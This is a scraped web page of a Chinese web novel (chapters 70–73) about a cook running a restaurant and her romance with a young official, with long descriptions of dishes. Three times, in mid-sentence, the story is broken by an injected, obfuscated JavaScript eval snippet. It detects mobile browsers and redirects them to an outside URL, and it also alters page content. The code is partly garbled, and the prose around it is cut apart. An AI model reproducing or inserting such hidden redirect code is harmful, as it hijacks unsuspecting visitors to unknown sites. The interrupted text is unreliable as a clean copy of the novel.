蓝锦此地无银，“噌”地站直身子，讪笑道：“啊，这个，这个香味还挺特别的......” 眼前人嘴角微勾，回以叫人如沐春风的浅笑。 却在看见来者何人时，瞬间冷了脸。 “哈哈，哈哈哈，小娘子，瞧这花容失色的，我见犹怜啊！只怕吓得不轻吧？” 二皇子承彦通体金黄，像只迈着八字步的大公鸡，趾高气扬地朝蓝锦走来。 这副流里流气的模样，叫蓝锦皱了下眉。 萧仁禹不动声色地将蓝锦挡在身后： “此间出了惊马事故，最好报知京兆府，请巡防卫前来查探。看到底是路的缘故，马的缘故，还是人的缘故。” 二皇子一双青豆眼大剌剌地放在蓝锦身上： “嗨，不用那么麻烦。我把小娘子带回府里，叫太医院的首席御医跑一趟，专门来给她诊诊，不就好了嘛！” “小娘子，你怎么样啊？我家爱驹是调皮了些，以后啊你肯定会喜欢上它的。” 萧仁禹依然从容地叫人报了京兆尹，不软不硬道： “太医轮值自有章程，进出宫门也有记录。若是圣人垂询，殿下又预备如何应对？” 谢承彦不耐烦了起来，就差把“我爹是皇帝”贴到脑门上了： “注意身份，知不知道什么话该说，什么话不该说，管那么多做甚！” “这路是你家开的？别说撞这一辆马车，就是我把这路上的所有人都撞成泥，你又能奈我何？” “起开，说不定人家一早就想跟我回府了。” 话音未落，手里的马鞭就甩了出去。 还未等二皇子收回手，萧仁禹便一把握住鞭子的另一头。 握鞭的手指节发白，胳膊上的肌肉隆起，线条分明。 黝黑的鞭子掺在洁白的手腕上，粗粝的手掌瞬间涨红。 二皇子往后扯不回，面色憋得好似猪肝。 “你大胆！” 萧仁禹却乍然卸了力：“殿下是养尊处优之人，莫为这些伤了自身羽毛。” 向前一捧，看似恭敬地把马鞭双手奉还。 京兆府和巡防卫见了萧国公府家丁报信，人来得极快。一到场就熟练地查看了车痕马匹。 打头的人不慌不忙掏出一沓册子，当着二皇子的面，边念边写。 “四月十七日，于鹿鸣街惊四轮马车一辆。车上仍是年轻娘子一位，伤势未知，待验......” “嘿，嘿！怎么又是你们这帮人？”二皇子气急败坏。 每回他好容易拦住人家姑娘，便有这群鲶鱼过来搅混水，坏他好事。 偏偏个个溜得贼快，来无影去无踪。 二皇子新仇旧恨一起算，在这杠上了。 蓝锦从萧仁禹的肩头冒出一个脑袋：“二殿下可看仔细了！这马车可是大长公主殿下府上的！” 她出“我的姑祖母殿下”这张牌——先皇唯一的胞妹，阁下又如何应对？ 蓝锦和萧仁禹同时摆出一副促狭模样，二皇子果然哽住一瞬。 “哼，那又如何，年月不同了！等以后我要是......” “殿下！殿下！”二皇子府上的少保，正在酒楼细品春鲥鱼。 匆匆闻讯赶来，就听见自家的乌纱帽在大放厥词。 少保冲萧仁禹再三道谢，又冲巡防卫和京兆差役致礼。这可都是保他脑袋的人。 体体面面道：“府上还有未了的事宜，只好请二殿下与萧大人改日再叙了！” 他连哄带拽，将人拉回了府。 二皇子还心有不甘，扭头嚷道：“谁跟他叙啊！” 萧仁禹幽幽地补刀：“大人，那行止册可快满了......” 少保一叠声道：“我自去奉与圣上，我自去！” 蓝锦好奇地看着二皇子的马车逐渐走远：“怎么，圣人叫你替他带孩子吗？” 萧仁禹嘴角的弧度翘起：“锦娘就是这般聪慧。” 蓝锦还没来得及追究，这得寸进尺的称呼改变。就见萧仁禹俯下身子，细细研究起她的皓白手腕。 眼神似有温度，腕子叫他看得热起来。 偏他还柔声问道：“可曾捏疼了？身上有没有什么不适？” 方才情况紧急，他飞身入马车。为了尽量恪守礼节，难免在手腕一处使力。 “没什么大碍吧......落地，落得也挺稳的。” 蓝锦生怕他再蹲下身子，仔细研究她的脚腕，提前解释。 她倒是安然无恙，只是可怜了马车。 萧仁禹仍然蹙起眉头：“此处离梁府也不远了，还是即刻回去，请府上的医女仔细瞧瞧，才能放心。” 蓝锦推辞不过，叫他带上了萧府的马车，一路送回了家。 * “锦娘，如何不多歇几天？” “本就没什么事的，偏大家都紧张。手头要做的事情太多了，厨艺女学的好多孩子要出师，送去食饷司做军需饮食正得宜。新开的酒楼也要我看顾。” 谢令章是替大长公主来看蓝锦的。 事情出在从公主府回去的路上，用的还是公主府的马车。少不得就是盯着蓝锦的行踪，蓄意为之。 蓝锦虽然安然无恙，也叫家里按着休息了一阵，各色人马探病的礼物流水一样进了梁府。 她也没闲着，歪在床上盘点手里的地契。优中选优，择了最好的一处，整修开业。 “蓝记”的牌子气势恢宏，是萧仁禹写的。 这位年轻的探花郎状似不经意间路过：“招牌就不必劳烦他人了，我随手写了就是，正巧两处一并换新。” 执意要了纸笔，信手挥就。 身边的同僚都露出瞠目结舌的样子。 ——那他们百般恳求，从秋求到冬，春盼到夏，也得不到一撇一点......又算什么！？ 蓝锦瞧这笔走龙蛇的字迹，想象着它挂在门前的气派。 如此对生意有利的事，她当然不会拒绝。 她故意调笑道：“若是有人问起，那我可要照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542013|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实说，是萧大翰林的墨宝？” 萧仁禹当即取出私章，钤下一印：“不必辛苦小娘子，叫工匠把章子也刻上，一目了然。” 同僚纷纷起哄：“这样只怕人人都来偷招牌！” 萧仁禹淡淡道：“那我便再写。” 当朝探花郎的招牌一挂上，没有招来梁上君子，倒是引得众人慕名赏字。 蓝锦就是这般贴心，给大堂里、厢房里，处处摆上大大小小的招牌。 还有在昭应县收到的神秘生日礼物——那幅烟火气十足的挂画，正摆在新酒楼的大堂里，也补上了萧仁禹的私章。 这下可好，连听雪轩的追星客们都闻讯赶来，流连忘返。 其中最激动的，当属擅长作画的黄端玉：“瞧我说什么来着！萧二郎对蓝掌柜绝对非同一般，偏你们不信！” 但动机不纯的客人们也有胃肠，很快就被酒楼的香味，和伙计手中的菜色，吸引了目光。 “这是什么？碧波中央白胜雪，煞是好看。” “客官，这是我家的青豆斩鱼圆。鱼剔去了刺，斩成有嚼头的小丁做的圆子，鲜美至极。您来一份尝尝？” 众人无不点头。等这道菜端上了自己的餐桌，才知其中究竟。 小碗中心是一颗个头不小的鱼圆，雪白中透着微粉。四周漂浮着满当当的青翠豆子。 “白毛浮绿水！” “有趣，好看！” 舀起一勺子来，青豆嫩极，连豆衣都收了存在感。伴着鲜美的清汤，入口香甜。 一旁的伙计伶牙俐齿地宣传：“客官，咱家的青豆，只取长了七日的。多一天则老，少一天则生，不多不少，必须是七日！” 客人手上动作不停，心里无不在想：原来美味的秘诀在这，回家也要试试七日豆。 只是，这样无骨无皮、不腥不老的鱼丸，就实在难做成了。 酒楼很快满客，伙计们灵活地穿梭其间，忙而不乱。 “客官！爆鳝一道。” 鳝鱼虽然四季都有，江河湖海的，随处可见。可是夏日里头，鳝鱼最肥，吃鳝正当时。 这道菜只取鳝背，最让人回味无穷。 一指长的鳝背，擦得干净，先用沸水汆过，去了白膜。 刺啦啦一下油锅，黄黑色的表皮瞬间卷曲。 爆膳爆膳，爆之一字，就是讲先炸再浸到浓汤里头入味。 煮好的浓汤里头搁了酱油、糖、葱姜、茴香去腥，过油炸了的鳝背一放进去，嘭起的小油泡吞吐不断，滋滋啦啦地染了色。 浸了味的鳝鱼再放油锅里炸，如是反复四五次，才造就这样酥脆美味的爆膳。 最后连汤带汁地一炒，不需要勾芡，已经汁浓味美。 爆膳不过小小一碟，客人们纷纷下筷，一阵风卷残云，生怕晚了就没了。 连喝酒的人，也放下了爱极的糟卤鸭舌、糟蒸鸭肝，连连赞叹。 “酥！脆！鲜！鳝鱼剔了刺，大口咬着吃，实在太过瘾了。” “那汁水直往我嘴里滋。就是不够吃，我恨不得点上十盘子。” “鳝鱼如此做，才不叫辜负了。” “夏日里若想下酒，还得来蓝记吃爆鳝。” 71. 第71章 夏天日长，蓝锦身着薄衫，在碧纱橱歇了午觉，醒来只听得鸟鸣啁啾。 她拎起小香炉，里头搁着萧仁禹特特送来的零陵香，懒洋洋地去前厅盘账。 新开的酒楼不用交税，这笔银钱立即在账面上体现出来。 “嗳，如今的收益，只怕比从前翻上三倍，很快就能回本啦。” 悟雅打着扇子，围着看蓝锦打算盘。 汝月端来一笼小蟹饺：“只怕不止这个数。” 小秋跑到汝月身边，踮着脚，脑袋将将够到她腰侧。 伸出两根指头，鬼祟地拖出一只玲珑小饺。 啊呜一口放进嘴里，鲜得人一激灵，小眉毛飞舞。 “阿姐，这个好吃！明日还做吗？” “小馋猫，嘴这样急，下学了可曾净过手？” 小秋调皮一笑，一展手心：“洗过了，用酒楼门口的香皂。” 这也是新酒楼的一大卖点。 军需工坊虽改名叫了“食饷司”，但不止能做吃的。 蓝锦突发奇想，寻了弃之不用的猪胰脏，配上花露等物，研究出了香皂。 第一批先供给了蓝记酒楼。 客人下马下车，先盥手，往往忍不住嗅闻手上的花香。一时天都贵人趋之若鹜。 蓝锦也笑着收了账本，姐妹几个一同落座。 “你汝月姐姐在试新菜，本就是顺手拆的蟹粉。这几个月河蟹也渐渐肥起来了，若你喜欢，哪天都能做。” 小蟹饺不过寸把长，抿起来竟还有蟹汁。因其个头精致，吃起来不觉腻肥。 蘸了姜醋，眨眼间，一笼就吃完了。 几人拿着一壶青梅汁。一口酸甜饮子，一口丰腴蟹饺，简直无事小神仙。 酒楼每日忙得脚不沾地，也就晚饭前的空档，稍稍闲下来一会。 “就是量太少，吃了好像没吃似的。” 悟雅咂摸着嘴，她还没来及细品，好几个都是囫囵下肚。 “正是这样带点遗憾的滋味才好。记挂着，惦念着，下回才能想着还来我们酒楼。” 汝月深得蓝锦生意经的真传，当即接口道。 “若是价钱不贵，多点上几份，才能在肚子里将将垫上一层呐。” 悟雅人高马大，饭量也大，时刻想着吃饱的事。 眨巴着眼，问汝月：“多少钱啊？” 汝月神秘一笑，对她伸出两根指头。 “二十文一笼？这么便宜，只怕做的供不上卖的呀！” 汝月摇头：“是二钱银子，一笼。” 悟雅惊讶极了：“呀！我们娘子，可真黑......” 赶紧捂住嘴巴，又补充道：“可真会赚银钱。” 汝月和蓝锦都笑她。 小秋趁大人们不注意，又抛下筷子，直接拿手去捉剩下那笼里，最后一个小饺。 蓝锦睁一只眼闭一只眼。 悟雅任她们笑，仍在兀自惊叹：“如今我可真是厉害了，二钱银子一笼的小蟹饺，吃起来就跟喝凉水似的。” 又指着汝月说：“还是你更厉害，原先，咱们差点都去那些人家为奴为婢了。” “现下，你都能做出二钱银子一笼的蟹饺！” 蓝锦笑道：“吃着容易。一口吃下去，只觉得鲜香，哪里知道汝月下了多少功夫。” “单说拆蟹粉这一桩，没有耐心和经验就做不来。这可都是一只蟹一只蟹练出来的。” 日子一进六月，银钱在手的蓝锦就忍不住了。 虽说秋风起时，蟹脚才痒。可此时的河蟹，也自有其妙处。 也是为着以后的秋日螃蟹季练手，蓝记酒楼几乎将各大水产行的蟹都定下了。 蓝锦手头也有商队田庄，早就寻了水质清冽、温度适宜的地方，投了上佳的大闸蟹苗，自己圈养。 这个时空围湖养殖的风气还未形成，可让蓝锦抓住了机会。 她要做这第一个养螃蟹的人。 如今这个时节的螃蟹，流质的黄也藏了满腹。 若是此刻端上餐桌，鲜香糊嘴，也能叫老饕直呼过瘾。 一开始，六月里捞起的螃蟹，是为了提升大闸蟹的出产率，提前弃用抛费的。 谁知，老饕眼中出美食。毛蟹炒年糕、咸肉毛豆蒸、姜葱炒......样样漂亮。 这种螃蟹壳薄肉嫩，成了专门的食材，有了自己的名号——“六月黄”。 甚至在大洋彼岸，蜕壳后的螃蟹，也叫西式大厨们钻了空子。 在旧壳蜕下、新壳未成的时候，螃蟹从里到外都是软的。 就趁这几个时辰的功夫，把它们捉了来。 裹粉裹料，下了宽油锅。 炸得酥香坚硬，就像叫螃蟹新长了一副壳。 食客一口下去，外脆里软，嫩鲜爆汁，别有一种享受。 蓝记酒楼要推的菜色也不输它，打头的便是一道盐烤蟹。 厨灶间若只派出一个代表，来竞争“提鲜”的角色，盐说自己排第二，谁也别想争先。 腌肉要不要盐？发酵要不要盐？ 盐天然能提高人对“鲜”的感知，又能平衡百味。叫人唇齿生津，最大限度地打开味蕾。 有人甚至会在咖啡里加盐巴，以期减少苦涩，让味道更浓醇。 就算是炖鸡汤，倘若什么调味料都不加，味道也是乏善可陈的。 哪怕鸡再好，也只是油香。 此时若加上一勺盐，就能瞬间化腐朽为神奇。那阵鲜香保准直冲四肢百骸。 大抵是盐会让蛋白质变性水解，释放出游离的氨基酸。 所以，哪怕是飞速更新迭代的味精、鸡精、耗油、鱼露、蒸鱼豉油...... 种种鲜味剂，都无法夺走盐的光辉。 盐烤蟹选的，就是极普通的粗粒海盐。 配上花椒、桂皮、茴香，翻炒得咸香发黄。 直到白烟冒起，香气四溢。 蓝锦把调味好的热盐倒出一半，担着叫螃蟹夹手的风险，往锅里一扔，再迅速埋上另一半盐。 生猛带来极鲜。只需一会儿的功夫，这道鲜嫩爽滑的盐烤蟹便焖熟了。 从灶间端到餐桌，不过几息。 橙红的蟹壳上，还沾着些许雪白的盐粒。 掀开壳子，蟹肉焦黄，肉质极其紧实。 一口咬下去，原汁原味，蟹香直冲人天灵盖。 它没有经过太多调味，锁住了螃蟹最本初的鲜香。 爽口清新，是一种极其自然的满足感。 干鲜清淡的螃蟹做了，也要来些重口的。 螃蟹一劈两半，切口处沾上面粉封住，此面向下，进油锅里煎炸定型。 起个油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548878|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅，加酱油翻炒。 精打细算的厨子，绝不浪费一点食材。连用剩下的面粉也有用武之地。 添些水，拌拌匀，倒进蟹锅里一同翻炒。 加水加糖，直到面酱均匀地糊在蟹壳之上。 如是，油酱蟹便做得了。 这种做法端的是酱香浓郁，甜中带咸，咸中带鲜。 食客很给面子，一味地大嘬蟹壳。扔下了自己的面子，还满口称赞连连： “这层稠酱汁，是这道菜的点睛之笔，叫人食指大动啊！” 蓝锦懂得。用后世的流行语来说，那就是蘸鞋底也美味。 只怕不是食指大动，是好吃得吮手指。 下值的萧仁禹官袍未脱，就在这样人声鼎沸里，迈进了蓝记的大门。 他不跟旁人一样，老实地拣个桌子坐着，等伙计招呼点菜。 而是径直地走向柜台，去寻忙得不可开交的蓝掌柜。 人高马大的绯袍郎往厅堂中央一站，熟稔道： “今日可给我留了好菜？” 蓝锦听见每日准时报到的声音，抬头盈盈一笑：“自然有的呀。” 醉蟹，六月黄最虔诚的做法。 选丝络较少的黄姜，麻香十足的花椒，一坛甜醇的黄酒。 花椒煮酒，逼出香味。 收拾停当的螃蟹撒盐入肚，以姜片封脐，浸入冷酒中。 总共就这四样，盐，酒，花椒，活蟹。 泡上三两天，软嘟嘟的蟹肉逐渐入味结块。 爽滑鲜嫩，这能不好吃吗？ 只是，这是生醉。不是所有人的肠道菌群，都能消受这等美味。 蓝锦秉承着不给古人传播生腌毒药的初心，还是换了熟醉的做法。 熟醉蟹往往是甜口的，蓝锦在香料上大下功夫。 选用八角，桂皮，清新的茴香，带些苹果甜味的丁香，爽利的莳萝子，麻香的花椒，甜香的陈皮和肉豆蔻末。 配上姜片和酱油，大量的□□糖，煮得香味破窗而出。 蒸好的鲜红螃蟹，沁到乌黑的酱汁里头。地窖里过上一日，便能吃了。 蓝锦颇有些准备小惊喜的感觉。提前做好了，只等着看萧翰林的反应。 这道菜汤汤水水的。他是皱着眉，不愿弄污了手，举着筷子无从下箸？ 还是唤人取来蟹八件，把这八爪鲜物，拆得一根肉丝也不剩，骨头都能还原成一只蟹？ 蓝锦饶有兴味地想象。 萧仁禹慢慢扫过满桌的清炒虾仁、糖醋藕片、芽菜炒蛋皮、冬瓜蛤蜊汤......目光锁定了桌子中央的那道熟醉蟹。 ——锦娘又打量着瞧他的笑话。 他从容地净了手，慢条斯理地折起袖子，徒手拿起一只醉蟹。 “啵”地一声，干脆利落掀开了蟹壳。 一股柔和的酒香扑鼻而来。 熟醉完全去除了腥气，冷浸后的蟹肉细嫩弹滑。凉凉的口感，让咸甜的搭配天衣无缝。 萧仁禹回味着嘴里微妙的甘香，手下却不停。 剥好了一只肥润的蟹钳，递到看热闹的蓝掌柜面前。 “实在美味，不如锦娘也尝尝？” 蓝锦叫这反客为主弄得一愣，顿在当场。 萧仁禹若无其事地把手收了回去：“锦娘勿怪，我同你说着玩的。” 72. 第72章 “锦娘！可有好酒？” 距离午饭的时辰还有一会，一向卷王的大公主却恹恹地踏进了蓝记。 哪怕新开的蓝记连锁酒楼，距宫禁近上许多，这会儿看见大公主也是稀奇。 蓝锦笑盈盈地迎上去：“今日酒楼要办伏羊节，要配肉，最不缺的就是好酒了。殿下要什么样的？” 令章摆摆手，让蓝锦替她挑。 伙计们鱼贯而入，奉上香药酒。 这种酒乃是用佛手、木瓜、贡柑、茵陈草、绿豆和冰糖泡成的。深得后世果酒之美。 大公主心不在焉，随意拣了盘里的羊肉烧卖来吃。 起初一口还没觉得有什么特别的滋味，烧卖打舌头上走完一遭，才越来越嚼出其中的鲜香。 叫香药酒一激，羊肉特有的膻香，泼墨似的融化在唇舌间。 大公主的动作逐渐慢下来，开始细细品味。 不同于咸甜味的糯米烧卖，羊肉烧卖里头只有羊肉，略无一粒米。 皮子薄如蝉翼，莹润透光。羊肉的汁水和肥油都锁在里头。 大公主赞道：“这个烧卖好，不必糯米里找肉馅了。” 糯米烧卖吃完了不好克化，日间还要发饭昏，不利于上值，大公主不喜欢。 配着一道炙子烤肉。腌制过的薄透羊肉卷，裹满了干香的辣椒面和孜然粒。边沿已经焦脆，吃起来汁嫩味美。 蓝锦又给她上了一碗小馄饨，剔了筋膜的羊肉剁细拌馅，加了胡椒葱姜。 雾一样的皮子像金鱼尾，咬开一股羊香。一点提鲜的荠菜碎，清新爽口。 大公主把一切都抛之脑后，满心满眼都是蓝锦给她准备的美味。 吃得酣畅淋漓，若非厢房备了冰桶，只怕出得一身汗。 “爽快！”令章咽下最后一片香芹百合，豪迈地一撂筷子。 蓝锦给她递了温帕子，拿来一盏冰过的黑糖话梅饮子。 “殿下是遇上什么烦心事了？” “嗨，说出来你也要生气，跟食饷司还有些关系。那群长毛老头，纸案上的蛀虫！只会逞口舌功夫。” 大公主喝了一口冰饮，俨然一副早朝受了一肚子气、要大说特说的模样。 “不过是要取些香皂一并运往西北，这个说户部吃紧，那个说骄奢削弱士气。” “他们高门大院的，哪个不想了法子，弄了香皂去用。怎么打仗的兵士，反而不配用区区一块香皂？” “你都跟我说过，这有助于人体康健，兵士的命不是命？” “分明就是成心驳我的面子！” 大公主一向老成持重，蓝锦第一次见她这一面。 因谢令章常与大长公主一处待着，蓝锦还以为，她们都是那种要风得风、潇洒万千的皇家掌珠。 蓝锦劝慰道： “可是造价太贵的缘故？不如我研究个去掉花露的低价配方。如今只是为着风雅，失于实用了......” 谢令章长叹了一口气，无奈道：“也不止是为着这一桩。” 说话间，看见来寻蓝锦的萧仁禹。她脸冲着蓝锦，眼神却瞄着这位，拖长了音调： “究竟为哪桩，还是问问你这萧大翰林吧！” 说罢，一阵风似地走了。回去继续写折子。 蓝锦调笑道：“我们萧大翰林好本事，竟敢与堂堂公主呛声。” 萧仁禹揉了揉拧着的眉心，也无奈道：“不是这么回事。文武之辩而已。那位......不想用兵罢了。” 蓝锦吐吐舌头。 这她可就关心不来了，还是留给简在帝心的萧大翰林烦忧吧。 还没来及关心萧仁禹“今日可还是老样子”，酒楼门口就花团锦簇地来了一大队人马。 “恭喜恭喜啊！” “同喜，同喜，呵呵！” “沾了蓝记掌柜的光啊！哈哈，想我屡试不第，正是来了蓝记酒楼，吃了探花郎吃过的桂花藕，果真蟾宫折桂！” “我是坐在探花郎墨宝正正下方，吃了探花郎吃过的松鼠鳜鱼。这下可好了，鲤鱼跃龙门！” “我就不同了。正是吃了蓝记酒楼的椒盐蚕豆，那鲜味......我这才想起从盐政切题，做了一篇极漂亮的策论！” 楼下一片欢声笑语，萧仁禹侧头去瞧正看热闹的蓝小娘子。 怎么，在外就这样宣传他？ 蓝锦冲他狡黠一笑，丢下他不管，热情地下了楼，迎接放榜还愿的书生们。 “诸位郎君大喜！今科应试的学子们，不管结果如何，今日来我蓝记，菜品一率半价！” 三十年河东，三十年河西。人家哪怕如今不中，未见得一生都不中呀？ 考学辛苦，蓝锦只当结个善缘罢了。 一时大呼“掌柜高义”的称赞不绝于耳。蓝锦熟稔地周旋，推销自家的藏书羊肉汤。 这名字有两分雅趣，就深受学子喜爱。 “藏书镇”原是确有其地的。不过又一说，藏书名字来自朱买臣的典故。 大抵就是糟糠妻，怀才子。妻眼不识珠，不愿丈夫整日读书。为防书被撕毁，只好藏着看。 老来得势，改嫁的妻追悔莫及。可是“马前泼水”，覆水难收。 这种成败归咎女人的想象，细究起来也没甚意趣。 若是妻也识字，花开两朵，各表一枝。是否是不事生产，抬望得势，最后还非得依赖钗裙青眼？ 不过，保留这道特色菜的名字，唬一唬文人雅客们，蓝锦觉得相当划得来。 藏书羊汤喝的是原汁原味。 少许葱白，姜蒜，黄酒，大红花椒，顶多加几片白芷，焯水炖煮。 末了可以搁些油豆泡、细粉丝，白菘，全凭喜好。 书生们喝惯了浓得发白的羊肉汤或羊杂汤，乍一看这样的清汤底配素菜，颇觉新奇。 待喝进嘴里，便更是惊讶。滋味差不多的鲜美，并不觉得寡淡。 “看来天下鲜香是一家罢！” “蓝记酒楼最是海纳百川，小生受教多矣！” 蓝锦大大方方，对答如流，丝毫不怯场。 不因为谁高中便高看一眼，也不因为谁失意就暗下褒贬。 萧仁禹远远地守着，心里酸溜溜的。 只顾着贺那些人的喜事，怎么不来贺他？ 他还升官了呢。 知贡举的大部分事项一了，圣人回过味来。 不能只派差遣，那这恩宠也就给的不尴不尬了。 当即大手一挥，给萧仁禹升作了最年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556233|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的翰林大学士，加知制诰衔。 此位属文臣翘楚，若累迁中书舍人，距离宰相也不过一步之遥。 他这般努力，很该得锦娘一贺！ 萧仁禹漫步至厅堂，方才还安坐饮宴的学子们，纷纷起身，恭谨致礼。 “萧翰林好！” “贺萧大人高升之喜！” 这一科高中的人，少不得都得尊他为半个座师。 萧仁禹淡淡点头：“免礼。” 径直走到蓝锦面前，露出一抹浅笑，柔声细语道：“今日忘了给我留饭？” 蓝锦一拍脑门，她这是第一次赶上放榜，太激动了。 只顾着客山客海，竟把大主顾给晾在一旁。 ——之前还悄悄打着人家的旗号狐假虎威！ “当然没忘呀！只是萧郎君少来用午食......这样好了，我把我的午食匀出来，只要你别嫌弃！” 萧仁禹满脸愉悦地跟在蓝锦后头，往厢房走去，还轻声应道：“自然不会。” 满屋学子呆呆地目送二人上了楼。 其中一个从羊肉汤碗里露出半个脸，兴味盎然道： “掌柜自家吃的午食，跟咱们的一样不一样？还有什么能比羊汤更好吃啊？” 同伴恨铁不成钢地看了他一眼： “你是真馋啊！” 蓝锦吃的，还真不是酒楼水牌上的。 她正苦夏，愿吃些浓墨重彩的。 一道麻辣兔丁。是庄子上新送来的生兔子，去皮去脏，煮熟晾凉。 砍成一指节大小的兔丁，和酱油、糖、花椒末、盐、糊辣椒，还有碾细了的豆豉酱同炒。 最后拌上一指厚的葱白粒，红亮好看。 蓝锦一动筷子，萧仁禹也不假思索地跟着下箸。 滑嫩的兔肉鲜辣过瘾。蓝锦不拌热饭，只佐着红糖凉米鱼鱼，一口接一口。 “只吃生冷，锦娘当心腹痛。” 萧仁禹皱起眉毛，忍不住多嘴多舌。 蓝锦舀起一勺给他看：“喏，这不是冰的。这个时节，不放冰，就算不加热也是温的。” 又大方地分他一碗：“信我，这兔子虽是凉菜，你再吃上几口，保准辣得发汗，定会想要吃口甜的。” 果真如此，二人都不说话了，默契地一齐满头苦吃。 再夹几筷子怪味鸡丝。 这也是道冷拌菜，里头搁了酱油，盐，糖，辣椒油，醋，芝麻酱，香油，花椒面，姜汁...... 酸、甜、辣、咸、麻，五味俱全。配上一道醋香芝麻莴苣丝，着实开胃。 蓝锦率先捂着浑圆的小肚子，向后倚靠：“辣得着实爽快！” 萧仁禹此刻也脸颊飞霞，嘴唇红肿。心情却颇好： “原来溽暑时分，吃些热辣的东西，不仅酣畅开胃，还能驱散胸中的热闷。” 蓝锦简直想给他竖大拇指：“不错，知己！” 萧仁禹看着蓝锦的眼眸，认真道： “从前不知，伯牙子期之情仍存于世。倘能得一知己朝夕相对，便算得上真正的‘不孤’了。” 只是一起吃兔兔而已，怎么这架势，弄得像心意剖白一样？ 蓝锦假笑道：“这兔子是挺好吃的哈......” 73. 第73章 有赖于士子的追捧，也因着御宴同款碗仔翅的名声，蓝记酒楼一跃成为天都人人钟爱的去处。 蓝锦欢快地拨着小算盘，野心“嘭”地一下鼓胀起来。 上回意料之外的吃兔剖白，虽然叫她慌张了一段时日。 萧仁禹来蓝记时，她都不亲自露面了，有心回避着。 可是，好长一段时间里，她总能不经意撞上萧仁禹，或是府门外，或是上值路上。 你们天都的大学士，都这么清闲吗？ 萧仁禹反而比蓝锦还坦荡几分，倒叫蓝锦不好意思躲他了。 而且说话还好听。 “城南的新溪坊要建坊市了。” 蓝锦眼前一亮。那片废竹园子？ 新溪坊，乍一听以为是什么鸟语花香的宜居之所，实际荒得也就只有鸟了。 周边的居民大抵当那不存在，罕有人迹。若是建起了高墙瓦舍，那就是另一回事了。 萧仁禹点到为止。 蓝锦立即匆匆去了牙行，大手一挥，以抄底价买下一大块地。 商行的人简直像见了活祖宗，旁敲侧击，蓝锦只说自家长辈喜欢。 被当枪使的梁若虹，正与上门拜访的蒋长昭喝着茶。 蒋长昭也算她看着长大的。梁若虹借着看她，试图找一些自家女儿的痕迹。 “锦娘，今日回来得倒早啊。” “外祖母，蒋姨母”，蓝锦见了礼，竹筒倒豆子一般快言快语，“我是家来收拾行李的。” “小秋近来在马场玩野了心，您得多盯着她的案头课业，可别太难看了。” “酒楼的一切事情都有汝月和悟雅。我顶多去个两三日......” 梁若虹搁下青柑饮子，疑道：“你一个人去？这是要去哪儿呀？” 蓝锦笑眯眯的：“我又要盘个新铺子，是要往万年县走一趟，看看养牛场的事。” “近来北边那头可不甚太平呀。听说有一股流匪，穷凶极恶的，见人就抢，甚是无法无天。”蒋长昭道。 “啊？”梁若虹给唬了一跳，扭过头来问蓝锦，“非去不可吗？” 蓝锦道：“这事我已经安排了好久了，好容易天时地利，肯定是要走一趟的。无碍，大不了我请个镖师同去好了。” 蒋长昭摇摇头：“信人不如信己。是凡大盗，总有些江湖上的门路，如何知道他们跟镖局有没有暗里的关系？” “这样好了，叫怀瑾陪你走一趟。我瞧着他近来挺清闲的。” 蓝锦还要推脱，蒋长昭的执拗性子又上来了：“都快要是一家人了，还同我客气做什么。” “二郎的功夫你大可放心。别看他现在文绉绉的，阖家只有他大哥能跟他对上几招。” 很有公信力。萧家大郎萧仁肃，屡立战功，敕封云麾将军。 梁若虹第一个响应：“如此便要辛苦怀瑾这孩子了。” 蓝锦想开口婉拒，又找不到合适的理由。 她总不好说，从前一起吃兔子太尴尬，还是不了吧？ 这事一敲定，蒋长昭也满意地告辞了。 未亡人惜未亡人，蒋长昭此来，与梁若虹相谈甚欢。 她依依不舍地走出梁府，远远瞧见了自家的马车停在街角。 “怀瑾，你怎么在这？” 萧仁禹清清嗓子，总不能说，是他送了锦娘回家吧。 “特来接母亲回去。” “真是奇了，你是怎么知道，我在梁府的？” 萧仁禹不动声色地转移了话题：“母亲此来，可是梁老夫人有什么事？” “那倒没有。前些时日，李相夫人的娘家妹妹上门来，她家几个儿郎到了适婚的年纪，想请托我做个中人，打听瑾娘的婚事。” 萧仁禹马上接口：“哦？母亲可打听出来了？” 蒋长昭瞥了他一眼：“我是什么乱点鸳鸯谱的老人家吗？今日这一趟，我可什么都没提。” “那几个儿郎，我过了过眼。都不够好，配不上我们瑾娘。” “那母亲还来这一趟......” “没事便不能来啊？”蒋长昭高了声。 又道，“跑给那些人看的嘛。托我的事，我办了，缘分的事我可强求不来，以后拒人也有个说头。” 萧仁禹满意了。 蒋长昭还在自顾自说： 